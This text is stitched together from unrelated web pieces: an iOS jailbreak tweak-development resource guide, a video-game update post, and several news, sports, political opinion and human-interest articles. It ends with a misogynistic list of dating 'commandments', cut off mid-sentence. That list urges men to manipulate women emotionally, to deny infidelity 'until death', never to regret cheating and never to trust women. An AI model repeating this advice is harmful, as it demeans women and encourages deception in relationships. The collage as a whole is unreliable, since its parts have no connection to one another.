Stack Overflow, this Theos documentation by theiostream, and Theos Install Script. You'll probably also want to read more about Cydia Substrate - see saurik's Substrate documentation. Finding example projects Here is a list of just a few of the many open source projects that can be used as examples: Open Source Projects. For some simple example projects you can build with Theos, see codyd51's Theos Examples. Not finding what you are looking for? Try searching through GitHub for iOS Tweaks with a simple trick, "extension:xm". Example: extension:xm SBAwayController Using the above code will search GitHub for all files with the extension .xm (because Theos by default creates a Tweak.xm file when creating a new tweak). The example above will result in finding tweaks that reference SBAwayController. Not all developers use the .xm file extension, but a large number do, and this will help you in finding those examples. Looking at frameworks, classes, and processes To figure out what code to modify, you'll want to explore around iOS and apps. You can extract Objective-C class interfaces with class-dump, class_dump_z, or classdump-dyld. Remember that the resulting files are not the original headers, so use them with caution. You can also find other developers have done this process for many frameworks and compiled their work into github repositories (e.g. iOS-Runtime-Headers). For further help, take a look at Finding classes/methods and using them by Sassoty. See Reverse Engineering Tools for detailed information about these tools and many others, including Logify. See Notifications for information about observing and posting notifications informing observers of events within a process and for IPC purposes, for example. Prototyping a tweak You can use Cycript to explore running processes. Check out the official manual, especially the section about process injection. For a demo, see Adam Bell's JailbreakCon talk (example code and slides). Building your tweak After prototyping you will want to make your tweak into a project to build it and debug it. To achieve this you will most likely use Theos. It is available for different platforms including iOS and Mac OS, and, to a certain extent, Linux. On Mac OS you can use Xcode's command line tools, but for the other platforms you should use a toolchain. On iOS there are two available toolchains (On-device toolchains), and there is a project for Windows. To learn about setting up your package's control file, see saurik's article on building packages. If you need to list dependencies or conflicting packages, Debian's packaging manual may be useful (because Cydia packaging is based on Debian packaging): Syntax of relationship fields, Dependencies, Conflicts -- or if you're submitting this package to a default repository, you can just ask your repository maintainer for help with this. Debugging See Debugging on iOS 7 for how to run gdb and/or lldb. The System Log article on TheiPhoneWiki has useful tips about accessing the device's syslog. The Crash Reporter package in Cydia is a convenient way to grab crash reports, and it's helpful to run symbolicate (also available in Cydia) on crash reports to get more detail. Debugging memory issues in Substrate tweaks A few problems you may run into while getting started Problem: Whenever I run programs I compile with your toolchain, they are immediately "Killed". I hate Apple :(. Solution: iOS only wants to run signed code. Jailbreaks patch the signature verification out of the kernel, but you still need to at least add a valid CodeDirectory to the binary that contains SHA1 hashes of the executable. See Code Signing for a few ways to do this. Problem: I tried copying a graphical program to the iPhone, and ran it from the command line. I am nearly 100% certain my program is correct, and I did your codesign instructions, but it doesn't work. Solution: You can't run things from the command line, you have to run them from SpringBoard. Problem: OK, but when I copied the file to /Applications it didn't even show up in SpringBoard. Solution: iOS caches the Info.plist files of all installed applications in a centralized place. The fastest/best way to handle this cache is to install UIKit Tools and then run its uicache as mobile: su mobile -c uicache Problem: When I add setuid bits to my program, it no longer starts up and syslog doesn't seem to provide any useful information, either (True?). Solution: I am not quite certain what is preventing this. However, it is easy to defeat: replace your program with a two line shell script that, in turn, runs your program. Example, maybe MyProgram (setuid) gets renamed to MyProgram_, and MyProgram (not setuid) becomes the script: #!/bin/bash dir = $( dirname " $0 " ) exec " ${ dir } " /MyProgram_ " $@ " Publishing your package in a default repository When you've completed a project, you may want to submit it to one of Cydia's default repositories (sources) for distribution. [Context about Cydia: Unlike the App Store, which is a centralized system, Cydia itself does not host/distribute packages - instead, Cydia is a way to browse and install packages from repositories. By default, Cydia comes with a list of good repositories (independently-owned but work closely with the makers of Cydia) - so if you want to distribute a package to the general audience of Cydia users, submitting it to a default repository is a good plan. If you use a default repository and want to sell your package, you can choose to use the Cydia Store system so that people have a simple way to purchase it. You can also choose to run your own repository (see Repository Management) and ask interested users to type your repository address into Cydia to get your package.] These are your options for default repositories, with links to information about submitting: BigBoss (managed by Optimo) ModMyi (managed by Tyler) MacCiti (managed by MacCiti) If you aren't sure which to pick, look up what your favorite developers use, or ask other developers for suggestions (if you don't already know any other developers, IRC may be helpful). If you have questions, email is usually the best way to get in contact with repository managers. For questions about the Cydia Store system for paid packages, you can ask your repository manager; they've helped many developers figure this out. See also: Cydia Store Integration. Some guides on other sites Also check out the list of development blogs for more writing by tweak developers. Theos challenges This section is a set of tweaks/apps that can be created with Theos for new or experienced developers to practice with. Title Description Example Need Help? LaunchNotifier Show a UIAlertView on the screen after any app has been launched. The title of the UIAlertView is the name of the app being opened. Example Guide AskLaunch Show a UIAlertView after tapping an app, asking the user whether they want to launch it or not. Example TransparentSBEditor Make the SpringBoard icons transparent while editing, instead of jittering. Example If you're interested in ideas for something else to build, the "Request" tag on /r/jailbreak has lots of tweak ideas from real people. -FROM: Project Lead TO: Arma 3 Users INFO: Helicopters DLC released, 1.34 update released, MP mode "Support" PRECEDENCE: Flash SITUATION Late yesterday afternoon we rolled the Helicopters DLC out of its hangar for lift off. Of course the 1.34 update contained not just the premium additions, but also the free platform update for everyone. We are very happy to be able to continue supporting the game in this way. By buying the game and DLC you provide us with the opportunity to strengthen, expand and enrich the platform and game. For an in-depth look at what changes arrived with Arma 3 Helicopters and version 1.34, read through the SPOTREP. Modders can do the same for the latest update of sister product Arma 3 Tools in the TECHREP. What's next for the team? Development focus will be on the second DLC: Marksmen. It is to follow a similar approach by delivering a set of premium assets, bundled with relevant new platform updates for all. We're right in the middle of producing the first new personal firearms and developing concepts for the rest of them. Meanwhile the designers and programmers are prototyping new gameplay features for weapon handling. In parallel, we do also have pre-production and early production of the Expansion terrain in progress. Finally, we obviously will be doing post-release support of Arma 3 Helicopters and we'll continue the maintenance cycle. Do check out this splendidly splendid write-up by Creative Director Jay Crowe on all of these topics. INTELLIGENCE Friendly reminder: if you have bought a Supporter Edition or own the DLC Bundle, you already own Arma 3 Helicopters DLC. This is not true for the (Digital) Deluxe Edition. If you've forgotten what version you own, one way to find out could be to check Steam. In the client, open Arma 3's properties. Visit the DLC tab and there it should list your DLC plus Digital Deluxe Edition content packages. Last Friday the voting stage for the Make Arma Now War Singleplayer category closed. This voting process selected the 20 finalists for that category (to be revealed in detail over the coming weeks). The other categories are in process of having their finalists selected by a Bohemia Interactive Task Force. After that, a soon-to-be-announced jury will carefully select the winners. Good luck to all contestants! OPERATIONS One cool part of the 1.34 platform update is the "Support" multiplayer mode. This mode was designed to focus on aerial logistics, rather than combat (although the sessions are not exactly peaceful!). You and your friends are helicopter pilots whose main responsibility is to capture sectors by transporting infantry NPCs to them. Extra support options are Sling Loading supplies and performing casevacs. The mode does a great job of showing the many improvements that Helicopters DLC allowed us to make. We decided however, not to lock this mode to owners of the DLC. Everyone can play it and non-premium helicopters are available besides the Huron and Taru. The design Task Force consisting of Jirí Wainar, Nelson Duarte and Václav Oliva is looking forward to your feedback in this forums thread. A good way of trying the mode is to connect to one of our official servers. We're also hoping to livestream the mode this Friday! We are tracking one server crash that is particularly elusive. Our working theory is that it may be caused by a recent Steam client update, because the same crash affects our other games (e.g. DayZ) without those receiving updates. We are in direct contact with Valve's network engineers to get to the bottom of this. The investigation will hopefully result in either a fix of their client, or a way for us to solve the issue ourselves. LOGISTICS Check out this nifty little web app to search and filter scripting commands. Kudos to Craig Vander Galien for creating it! The 1.34 update added a bunch of nice decorative objects for scenario designers. You'll find objects to bring your airports and heliports alive, as well as objects for Forward Operating Bases (from fuel bladders to desktop PCs and canteen supplies to sports equipment). The SPOTREP lists all of them, but you may have to explore the editor for a while to find the right categories. Shout out to our colleagues in Black Element Thailand, who did a good job of creating many of these! #splendid -Luis Antonio Caballero is an Argentine dog groomer who loves his job. A lot. His wife and business partner Gabriela Caballero caught him enjoying his job quite a bit on August 22, dancing to a song on the radio; even gently dancing with the dog he was bathing! "I stepped away to make some tea and returned to find Luis dancing," Gabriela told The Dodo . "He didn't realize I was there." So, Gabriela did what every good wife would do in this modern era -- she whipped out her phone, took some video, and promptly posted it on Facebook. Advertisement "I diiiiiiied, haha, this is how you bathe your pets," she wrote. "A happy puppy, hahaha, go Lu." The video cuts off just as Gabriela is found out, but it's been viewed more than 5.6 million times since it was posted. People are touched by Luis' obvious happiness: it's clear that he loves dogs, loves good music and loves dancing! "He loves them, and they love him," Gabriela said. Luis' life is all about dogs -- when he's not grooming them, he is working to get strays off the streets of Buenos Aires and into good homes. Advertisement "We are a family dedicated to the dogs," Gabriela said. -College students love socialism, just look at how Bernie Sanders captivated the youth vote during the Democrat Primaries. However, if you were to ask them to define it, you might not be able to get a straight answer. Campus Reform visited Washington D.C to ask college students “Do you like socialism?” and then asked “What is socialism?” Many students expressed favor for socialism, though when they were asked what it was, had trouble articulating an answer. If these kids can’t even define socialism, you can hardly expect them to recall the tens of millions who have been slaughtered under socialist and Marxist regimes throughout the 20th century. Hopefully they get a chance to take Econ 101 next semester. Via Campus Reform: Last year, a poll was released showing 53 percent of Americans under age 35 are dissatisfied with our nation’s current economic system and think socialism would be good for the country. “I guess just, you know, getting rid of that wealth gap in the United States?” The same poll found that 45 percent of young Americans would be willing to support an openly socialist Presidential candidate. The findings of this poll coincide with the rise of Senator Bernie Sanders, an avowed “Democratic Socialist” from Vermont who received millions of votes in the 2016 Democratic Primary, many of them from millennials. While it’s clear that young people increasingly view socialism in a positive light, it’s also clear that many of them are uneducated about what it entails, or the impact it’s had throughout history. The same poll found many millennials are unfamiliar with historical figures often associated with socialism, such as Che Guevara, Joseph Stalin, and Karl Marx. -Children make up over 25 percent of the civilians killed by Russian airstrikes, according to a report by a Syrian human rights organization. The Syrian Network for Human Rights (SNHR) released a report Friday that claimed Russian airstrikes in Syria killed approximately 2,704 civilians, 746 of which are children. In just over 11 months, Russia killed more Syrian civilians than the Islamic State killed in three years. The report documents several examples of Russian transgressions against civilians, many of which appear to be intentional, and have little or no military purpose. Many of the examples provided in the report show a Russian penchant for targeting schools. “Russian warplanes bombed a building that we were [using] to educate children in the neighborhood,” Abu al-Fatih, a resident of Aleppo’s al-Hollok neighborhood, told the SNHR. “The bombing was at a time when students were leaving their classrooms, which led to a number of deaths among children and the teaching staff.” Fatih noted that there were no legitimate military targets in the surrounding area when the attack occurred Dec. 7, 2015. He noted that several ethnic Turkmen-Syrians live in the neighborhood. “I think the Russian bombing deliberately targeted the neighborhood as a retaliation for the Russian warplane that was shot down by Turkey,” explained Fatih. WATCH: One month later, a Russian attack on three schools in the Einjara district of Aleppo left 17 people dead, 15 of whom were students. Russian jets targeted an elementary school and two high schools. Mohammad al-Khatib, a media activist who witnessed the aftermath of the attack, described the scene in vivid detail. “A teacher told me that a massacre happened at the western school after it was targeted with a missile by a Russian warplane, I went there. The missile fell in a classroom that was destroyed completely,” said Khatib. “Residents told me they pulled only four dead bodies and lost about 15 others who were reduced to shreds including the female teacher of the targeted classroom.” Russian bombing strikes are ongoing, despite failed diplomatic attempts to secure a cessation. The Islamic Republic of Iran has been complicit in Russian air strikes more recently, allowing fighters and bombers to stage attacks from an airbase in the Hamadan region. Follow Russ Read on Twitter Send tips to russ@dailycallernewsfoundation.org. Content created by The Daily Caller News Foundation is available without charge to any eligible news publisher that can provide a large audience. For licensing opportunities of our original content, please contact licensing@dailycallernewsfoundation.org. -State Democrats’ three-day convention had a raucous start Friday, as liberal activists booed and heckled Democratic National Committee Chair Tom Perez after marching from the state Capitol to promote a universal heath care program. The leader of the nurses’ union that opposed Perez’s recent election had just warned California Democrats that they would put up primary election challengers against lawmakers if they don’t support a bill to create public-funded, universal healthcare. “They cannot be in denial anymore that this is a movement that can primary them,” RoseAnn DeMoro, executive director of the California Nurses Association, told hundreds of nurses and health care advocates gathered for a rally at the Capitol. “Vote them out,” the crowd chanted back, referring to Democrats in the Legislature wavering on whether to support their cause. Sign Up and Save Get six months of free digital access to The Sacramento Bee As California Democrats kicked off their weekend convention here with a cocktail reception featuring trays of scallion pancakes with Hoisin sauce and red grapes rolled in blue cheese and coated in pistachios, the throng advocating for a statewide publicly funded, universal health care system snaked down a staircase behind Perez, shouting down his calls for unity. “This gathering kind of reminds me of Thanksgiving dinner at my house with my extended family,” Perez said, trying to lighten the mood. As Perez launched into a riff about shared party values, California Democratic Party John Burton told activists he backed universal healthcare before many of them were born, in 1998. He jabbed at a protester: “Put your (expletive) sign down...We’re all for it.” “We make sure that healthcare is a right for everyone,” Perez said. “And not a privilege for a few.” The showdown over health care exposed deep rifts within the party that may have scabbed over, but have not healed, since last year’s primary fight between Hillary Clinton and Bernie Sanders, a favorite of the nurses union, which also backed Perez’s opponent in the chair’s race, Rep. Keith Ellison. Sanders has called for a national single-payer system, and earlier this month called on Californians to adopt the model at a speech in Los Angeles. DeMoro argued the Republican health care bill that passed the House has generated anger and fear among people from across the political spectrum, and many have turned their attention to the issue of health care because they fear losing coverage. Lawmakers have expressed skepticism over its projected steep cost. “There’s been a seismic shift because of Donald Trump,” she said in an interview. Perez, in his brief remarks to delegates, sought common ground over their shared anger toward Trump. “We have a president .... I don’t know who it is, Putin, or Trump,” Perez said. ‘They’re in a bromance. This is really weird.” -CHICAGO -- Patrick Kane was nearly done talking with reporters after a practice on Saturday afternoon when he was asked about Duncan Keith, the Chicago Blackhawks' top defenseman. Duncan Keith Defense - CHI GOALS: 1 | ASST: 4 | PTS: 5 SOG: 12 | +/-: 5 The question was about how Keith continues to go somewhat overlooked when the conversation turns to the NHL's best at the position. Names like Shea Weber Ryan Suter and Erik Karlsson roll right off the tongue, while Keith only seems to make national headlines while he's embroiled in some sort of controversy. "He's one of those guys you kind of take for granted because he's back there every night and does pretty much the same thing," Kane said. "Whether it's shutting down the other team, or creating offensive chances, or jumping in the rush, or how fast he skates, or how good he is defensively with his stick … he does so many things that you can name and really is huge for our team." It's true that Keith's numbers have dipped since winning the Norris Trophy in 2010, the same season Chicago ended a 49-year Stanley Cup drought, but he's still in the prime of his career at 29 and is still the Blackhawks' top blueliner. He also remains one of the best in the League, even if he does fly under the radar a bit. As he listed all of Keith's responsibilities and tools on the ice, even Kane started to sound a little surprised at just how much Keith does for the Blackhawks, who racked up 77 points in 48 games to win the Presidents' Trophy. Chicago used a noticeably improved defensive effort this season to stay so consistent, and Keith's three goals, 24 assists and plus-16 rating led the way. Kane even compared him to Blackhawks captain Jonathan Toews -- who doesn't necessarily rack up a ton of stats, but consistently does many things at an elite level. "It's kind of like Johnny," Kane said "You kind of take for granted, maybe, some of the things he does because he does the same thing every night." One thing that has changed for Keith from the previous three seasons is his ice time. It's gone down. During the regular season, Keith averaged 24:06 and nearly 29 shifts per game this season as compared to 26:53 and 31 shifts a game a year ago. His time during the Stanley Cup Playoffs also dropped during the Blackhawks' Western Conference Quarterfinal series victory against the Minnesota Wild. He averaged 23:21 and 31 shifts in five games against the Wild, which was down quite a bit from the 30:15 and 33 shifts he logged per game in a first-round loss to the Phoenix Coyotes last year. The decreased ice time is by design. Blackhawks coach Joel Quenneville tried to keep his team's legs as fresh as possible during the shortened season, which was packed with back-to-back games and sets of three games in four nights. He knew how important a refreshed Keith would be, so he stuck to a plan that cut back his top defenseman's minutes and shifts by roughly three a game. Keith had become known for his desire to absorb minutes, but the new plan hasn't bothered him. In fact, he said he's barely noticed being on the ice less. While Suter and rookie Jonas Brodin logged some eye-popping amounts of ice time for the Wild, Keith was content with the amount he got. "I don't really notice it, to be honest with you," Keith said. "When you think about it, it's only one or two shifts less in the course of a game. Sometimes maybe it's two or three minutes, but it's really only one or two shifts or one shift less a period. It's not that much. Every year's kind of different. This year we have (more defensemen) that can play and there's no need to play those minutes that maybe Suter was playing. I think it's good for the team, too." "He's been so good, for so long, that I think after a while you just take it for granted what you see from him." -- Blackhawks goalie Corey Crawford Keith's stamina in that opening series did get tested, though. His wife, Kelly-Rae, gave birth to their first child, son Colton, last Wednesday morning prior to the fourth game of the series. Keith had already flown back to Chicago for the birth on Tuesday and flew back to the Twin Cities, without sleeping, for the game. After playing a team-high 23:57, Keith realized he'd been awake for about 48 hours -- and didn't really care. "I definitely feel more responsible to look after a little guy," Keith told NHL.com on Saturday. "My wife's doing most of the work right now, though. I don't want her thinking that I said I'm doing all the work. Her mom's in town and she's helping out a lot, so we're thankful she's been able to help out and be here." The other thing on Keith's mind, of course, is the playoffs. As of Saturday afternoon, the Blackhawks still didn't know if they'd be facing the Detroit Red Wings or San Jose Sharks in the Western Conference Semifinal round. For Keith and defense partner Niklas Hjalmarsson, that question also meant wondering what star's line they'd draw as an assignment -- Pavel Datsyuk or Joe Thornton. Keith and Hjalmarsson, who were paired together midway through this season, led the way in shutting down the Wild's Mikko Koivu and Zach Parise in the first round. They did it, according to Keith, with a simple formula -- hard work plus teamwork. "It was just trying to play good defense, having a good gap in the neutral zone, eliminating the second and third chances and [goalie Corey Crawford] doing a good job, too," Keith said. "It's not two guys who do it. It's not three. It's not one line of forwards. It's a team game." Nobody on the Blackhawks understands that more than Mr. Under-The-Radar himself. "He's been so good, for so long, that I think after a while you just take it for granted what you see from him," said Crawford, who often has a front-row seat. "He's definitely a special player. The plays he makes sometimes … it looks easy, but when you're on the ice you appreciate the talent he has and what he can do for us." Crawford then laughed before adding: "I think that's enough for pumping his tires. I don't want his head getting too big, but I think he knows how good he is. He's an awesome player." -What Portland bike thieves took away, our community is giving back. As we shared last week, South Korean bike tourer Kim Minhyeong was pedaling through Portland on his dream trip when his bike was stolen from outside the Southeast Hawthorne Fred Meyer. It was fully loaded with all his gear, including his laptop, camera, and more. As word spread, Bryan Hance from Bike Index decided to help. Hance swung into action and held a fundraiser for Kim last Thursday. According to Hance, about 40 people showed up to Apex Bar — many of them with gear and donations in-hand. They showed Minhyeong what Portland is really all about as they shared free food donated to the event by Grind Musubi. “Definitely made me proud to be a Portlander! It was overwhelming, I won’t lie.” Hance wrote on in an email to supporters. Thanks for reading BikePortland. Please consider a $10/month subscription or a one-time payment to help maintain and expand this vital community resource. Portland-based apparel company Showers Pass donated store credit that Minhyeong has used to get a new jacket (the cool Atlas model no less). Right now Hance is helping Minhyeong organize a list of gear he still needs to replace with hopes of getting back on the road in 2-3 weeks. He also said friends of Minhyeong’s took him shopping for a new bike today. The outpouring of support has certainly made an impression. “When I started this journey, I was alone,” Minhyeong wrote on his Facebook page yesterday. “But now, because of everyone’s support, I no longer feel alone.” A GoFundMe campaign site has also been set up in case you would like to support this cause and help Minhyeong turn his bad experience into a good memory. And in case you’re wondering, Minhyeong finally got a u-lock. — Jonathan Maus: (503) 706-8804, @jonathan_maus on Twitter and jonathan@bikeportland.org BikePortland is supported by the community (that means you!). Please become a subscriber or make a donation today. Bike Theft, Front Page bike index, bryan hance -Adventurer and Filmmaker Leon McCarron has completed a 1500km walk around the heart of the Middle East, concluding his journey on the summit of Mt Sinai, Egypt. McCarron, 29, from Northern Ireland, began his journey on foot in Jerusalem in early December 2015. Following three weeks of trekking north through the West Bank and Jordan Valley, the expedition was briefly put on hold after McCarron’s walking partner, writer Dave Cornthwaite, suffered two stress fractures in his left foot. Discovery TV endurance athlete Sean Conway later joined the journey in Wadi Rum, after McCarron had walked the length of Jordan, dodging flash floods, spending days unsupported through rugged desert and experiencing the true face of the Middle East. Following several new and innovative local walking trails on 'Walk the Masar' (masar means ‘path’ in Arabic), including the Masar Ibrahim (in Palestine), the Jordan Trail and the Sinai Trail, McCarron’s intention was to look beyond the natural struggles and tensions of the region; to fill a current void in the global media by focusing on the other side - the people, the stories, the communities, and compassion that comes with travelling on foot. For four months he immersed himself in the lives of the people of the regions he passed through, gathering their thoughts and opinions. He says, “I feel extremely privileged to have seen this part of the world in such a deep way. I came here with a working theory that most people are good. This trip has reinforced that no end. This is one of the most maligned parts of our world, yet in reality I've found it to be perhaps the friendliest, kindest and most peaceful place to spend time.” McCarron is now working on a series of short films and a book to tell the full story of his findings. Find out more on www.walkthemasar.com and www.facebook.com/leonmccarron -By Matthew Bridge Hip Hop Vibe Staff Writer Where Kanye West and Jay Z are concerned, there are a lot of rumors surrounding them. Much like he said on his 2005 hit, “Diamonds From Sierra Leone,” it seems like they are “praying for the death of their dynasty, like amen.” They have pinned their hopes on TIDAL. When it comes to business, Jay Z has experienced all types of success over the past two decades. These decades have seen Jay Z launch various music-related businesses. His latest venture is TIDAL, a partnership with the likes of Kanye, Beyonce, J. Cole, Nicki Minaj, Usher, and many others. Since then, Kanye West has faced rumors of trying to distance himself from TIDAL, due to it being perceived as a failure. There were even rumors of Kanye West leaving Roc Nation, but it turned out he fired his manager within the company. Now, there are rumors of Kanye West premiering his new album on Apple Music, as opposed to TIDAL. Source: Hits Daily Double Follow Matthew Bridge on Twitter @dgfxla. -WikiLeaks cables and the Iraq War Yet another accomplishment for the leaker of the cables: preventing an agreement to keep troops in Iraq From a CNN report on why the Iraqi Government rejected the Obama administration's conditions for keeping U.S. troops in Iraq beyond the 2011 deadline: U.S. Defense Secretary Leon Panetta and other top brass have repeatedly said any deal to keep U.S. troops in Iraq beyond the withdrawal deadline would require a guarantee of legal protection for American soldiers. But the Iraqis refused to agree to that, opening up the prospect of Americans being tried in Iraqi courts and subjected to Iraqi punishment. The negotiations were strained following WikiLeaks' release of a diplomatic cable that alleged Iraqi civilians, including children, were killed in a 2006 raid by American troops rather than in an airstrike as the U.S. military initially reported. That description from CNN of the cable's contents is, unsurprisingly, diluted to the point of obfuscation. That cable was released by WikiLeaks in May, 2011, and, as McClatchy put it at the time, "provides evidence that U.S. troops executed at least 10 Iraqi civilians, including a woman in her 70s and a 5-month-old infant, then called in an airstrike to destroy the evidence, during a controversial 2006 incident in the central Iraqi town of Ishaqi." The U.S. then lied and claimed the civilians were killed by the airstrike. Although this incident had been previously documented by the U.N. special rapporteur on extrajudicial, summary or arbitrary executions, the high-profile release of the cable by WikiLeaks generated substantial attention (and disgust) in Iraq, which made it politically unpalatable for the Iraqi government to grant the legal immunity the Obama adminstration was seeking. Indeed, it was widely reported at the time the cable was released that it made it much more difficult for Iraq to allow U.S. troops to remain beyond the deadline under any conditions. Advertisement: In other words, whoever leaked that cable cast light on a heinous American war crime and, by doing so, likely played some significant role in thwarting an agreement between the Obama and Maliki governments to keep U.S. troops in Iraq and thus helped end this stage of the Iraq war (h/t Trevor Timm). Moreover, whoever leaked these cables -- as even virulent WikiLeaks critic Bill Keller repeatedly acknowledged -- likely played some significant in helping spark the Arab Spring protests by documenting just how deeply corrupt those U.S.-supported kleptocrats were. And in general, whoever leaked those cables has done more to publicize the corrupt, illegal and deceitful acts of the world's most powerful factions -- and to educate the world about how they behave -- than all "watchdog" media outlets combined (indeed, the amount of news reports on a wide array of topics featuring WikiLeaks cables as the primary source is staggering). In sum, whoever leaked those cables is responsible for one of the most consequential, beneficial and noble acts of this generation. And yet (or more accurately: therefore) the person accused of accomplishing all of this, Bradley Manning, has been imprisoned for more than a year without trial, and, if convicted, is almost certain to remain in prison for many more years (with the possibility, albeit unlikely, of death, and as the Obama administration continues to block an unmonitored visit by the U.N. official investigating what had been the inhumane conditions of his detention). If one believes the authenticity of the chat logs produced by Wired, Manning's goal in leaking those cables -- "hopefully worldwide discussion, debates, and reforms . . . i want people to see the truth… regardless of who they are… because without information, you cannot make informed decisions as a public" -- have been fulfilled beyond what must have been his wildest dreams. Assuming the truth of those chat logs, he was motivated precisely by seeing cables of the sort that detailed this civilian slaughter and subsequent cover-up in Iraq, and the extreme levels of theft and oppression by Arab dictators, and the desire to have the world know about it. Meanwhile, those responsible for the Iraq War, and who suppressed freedom and democracy in the Middle East by propping up those tyrants, and who committed a slew of other illegal and deeply corrupt acts, continue to prosper and wield substantial power. History is filled with examples of those who most bravely challenged and subverted corrupted power and who sought reforms being rewarded with prison or worse, at the hands of those whose bad actions they exposed. If Bradley Manning did leak these cables, his imprisonment is a prime example of that inverted justice. -Thomas Friedman Whines About His Lost TPP Thomas Friedman, who is legendary for his boldly stated wrong assertions, got into the game again making absurd claims about the Trans-Pacific Partnership (TPP) and the great loss the U.S. suffers from it going down. Friedman tells readers: "It was not only the largest free-trade agreement in history, it was the best ever for U.S. workers, closing loopholes Nafta had left open. TPP included restrictions on foreign state-owned enterprises that dumped subsidized products into our markets, intellectual property protections for rising U.S. technologies — like free access for all cloud computing services — but also anti-human-trafficking provisions that prohibited turning guest workers into slave labor, a ban on trafficking in endangered wildlife parts, a requirement that signatories permit their workers to form independent trade unions to collectively bargain and the elimination of all child labor practices — all to level the playing field with American workers." This is of course wrong. First, and most importantly, all the provisions on items like human trafficking, child labor, and trading in endangered wildlife depended on action by the administration. In other words, if the TPP had been approved by Congress last year we would be dependent on the Trump administration to enforce these parts of the agreement. Even the most egregious violations could go completely unsanctioned, if the Trump administration opted not to press them. Given the past history with both Democratic and Republican administrations, this would be a very safe bet. In contrast, the provisions on items like violations of the patent and copyright provisions or the investment rules can be directly enforced by the companies affected. The TPP created a special extra-judicial process, the investor-state dispute settlement system, which would determine if an investor's rights under the agreement had been violated. Friedman also bizarrely seems to be claiming that increased intellectual property restrictions will benefit U.S. workers. These forms of protectionism (yes folks, patent and copyright protection are protectionism — even if you like them) are directly antithetical to the interest of most U.S. workers. It means that foreign countries will pay more money to Microsoft for its software and Pfizer for its drugs. This means that they will have less money to buy U.S. manufactured goods. This is pretty straight and simple economics; in other words, way over the head of Thomas Friedman. (He wrongly uses the term "free-trade" in reference to the TPP four times. This is a propaganda term used to sell the deal. It is not accurate since the increased protections in the pact likely more than offset the tariff reductions in the deal.) In this respect, it is worth noting that the projected gain to GDP of $130 billion by 2030 by the strongly pro-TPP Peterson Institute for International Economics (the non-partisan United States International Trade Commission projected a more modest gain of 0.21 percent of GDP by 2032) does not take into account any negative impact from the increased copyright and patent related protections in the TPP. It is quite plausible that a model that actually took account of the negative effects of these protectionist provisions would show a loss to the U.S. from the TPP and especially to the bulk of the workforce who are not situated to benefit from these protections. This raises the issue of currency rules, which are notably absent from the TPP. The deliberate decisions by China and other countries to prop up the dollar against their currencies has led to the enormous U.S. trade deficits of the last two decades. This both cost millions of manufacturing jobs and led to the huge imbalances that provided the basis for the housing bubble and the subsequent crash. For this reason, it would have been reasonable to include enforceable provisions on currency management in the deal. Remarkably, the TPP includes nothing on the topic of currency. (There is a separate letter of understanding that has exactly zero legal status.) In short, there are very good reasons why anyone who cared about workers, the environment, and access to medicine, both in the U.S. and elsewhere, would strongly object to the TPP. It is unfortunate that Friedman seem completely unfamiliar with these issues. In this respect it is ironic that Friedman twice criticized Trump for rejecting the TPP without having read the deal. Thomas Friedman himself famously declared that there is no need to read these deals: -Out of all of the content I’ve dropped on this blog, this is one you should definitely bookmark, because you can use it the rest of your life. This article will help steer your interactions with women in the right direction and keep you from losing your sanity. There’s a few axioms that I live by which I have put together over the years of dealing with hundreds of women and these commandments have stood the test of time over and over again. If you adhere to these, then you will be years ahead of your peers and it will save you a ton of bullshit experiences with women, that could have been avoided. Here’s a few of them… #41. Who you marry will be the most important decision you ever make in life. Better make sure she’s up for the job. #40. Never get married or get tied down with a woman who you’re settling for. You will be miserable. She will be miserable. And life is too damn short to spend it with a woman low in caliber, personality and desire to suck your cock dry every motherfucking day. #39. Believe a woman the first time she SHOWS you who she is. Don’t allow your emotions to blind you to her flaws and shortcomings. #38. Women are not the enemy. They are merely following their inherent nature. Learn how to handle them and you will be rewarded with their positive attributes. Flail about blindly and be cursed with their negative attributes. #37. Women are led by their emotions. Therefore, learn to use their emotions to your favor. Become the puppet master. #36. Your greatest defense against the manipulations of women, is to learn Game. There is no substitute. #35. Always lead a woman in the relationship. If you don’t know how, then learn how. #34. You are not to be the bitch in the relationship. If you have to pause and think about it, then you are. #33. Women are just as sexual, if not more than men. They crave depravity. Do not be fooled. #32. ALL girls think they are unique. 99.9% of girls are not unique. Do not be fooled. #31. The moment you feel you cannot live without a certain girl, is the moment you have officially put her pussy on a pedestal. #30. Less is more when dealing with women. #29. Be ready to walk away from the relationship at any time for any reason. If she acts up, be ready to walk. If you stay you will lose a small piece of self-respect, until eventually you won’t even know who you are anymore. #28. Never take advice on sleeping with women FROM women. #27. If you can’t see who’s the sucker in the relationship, then you’re the sucker my friend. #26. What is unsaid when communicating with a woman, is oftentimes more powerful than what is said. Learn to use your eyes when flirting with women and conveying sexual tension. #25. If you get caught cheating, always, always, always deny. Deny until death and she will eventually get over it. #24. Always treat a woman’s tantrums like you would treat a child’s. Firm and unpersuaded. #23. Buying gifts, groveling, begging and changing for a girl will never keep her around. You’ll only intensify her disdain for you and speed up her hunt for an alpha cock. #22. If you think she’s cheating, she already has. Learn to trust your instinct. It’s ‘talking’ to you for a reason. #21. Never fully trust a woman. It’s not in their nature to be trustworthy. Self-preserve by only allowing for 60% of your trust given after a full and long courtship of at least 2 years. #20. Never get married before 30yo and always marry a younger woman. No exceptions. #19. You’re not really ready for a relationship, until you know what’s out there. Go fuck 20 women. When you get done, go fuck another 20. Then you might have an idea of what you want. #18. The moment you make a woman “your life”, is the moment she’s preparing to walk out of yours. #17. The only thing that matters to women between the ages of 18-26yo is: “Does he make my vagina wet?” #16. Women would rather be with a psychopath broke bad boy, then a stable, sane beta bitch boy. #15. Never regret cheating. #14. Don’t put pussy ON the pedestal, put it UNDER the pedestal. #13. Always fuck her like it’s your last time before you go to prison. #12. Frame IS Game. If you don’t learn to have a strong Frame, your ‘Game’ will always be weak and you will always struggle with women. #11. Always let her say “I love you” first. She’ll love you more for your self-control. #10. Watch what a girl DOES, not what she SAYS. #9. If a girl dumps you, never take her back. She will never respect you the same and the relationship is doomed to fail. #8. If you notice 1 red flag take note. If you notice 2 red flags prepare to eject. When you notice three red flags you had better be out the door. #7. Women lie. Get used to it. Learn to play the game better than them. #6. The more money you get, the more you will attract women who are attracted to resources. Learn to put on a ‘Humble Front’ at first in order to screen the golddiggers out. #5. Women are hypergamous. Get used to it. Learn to develop yourself into a High Value Man. #4. The moment you invest more into the relationship than she does, then you’re already fucked and you’re starting to ‘lose’ her. #3. Never put aside your personal goals and dreams in order to please a woman. You won’t please her and you will be miserable. #2. You will never lose a woman by having other admirers, but you will lose women by concentrating all of your efforts on one. You won’t just lose the one you’re focused on, you’ll lose all of them. #1. If you don’t choose to learn Game, then don’t be surprised when the wool 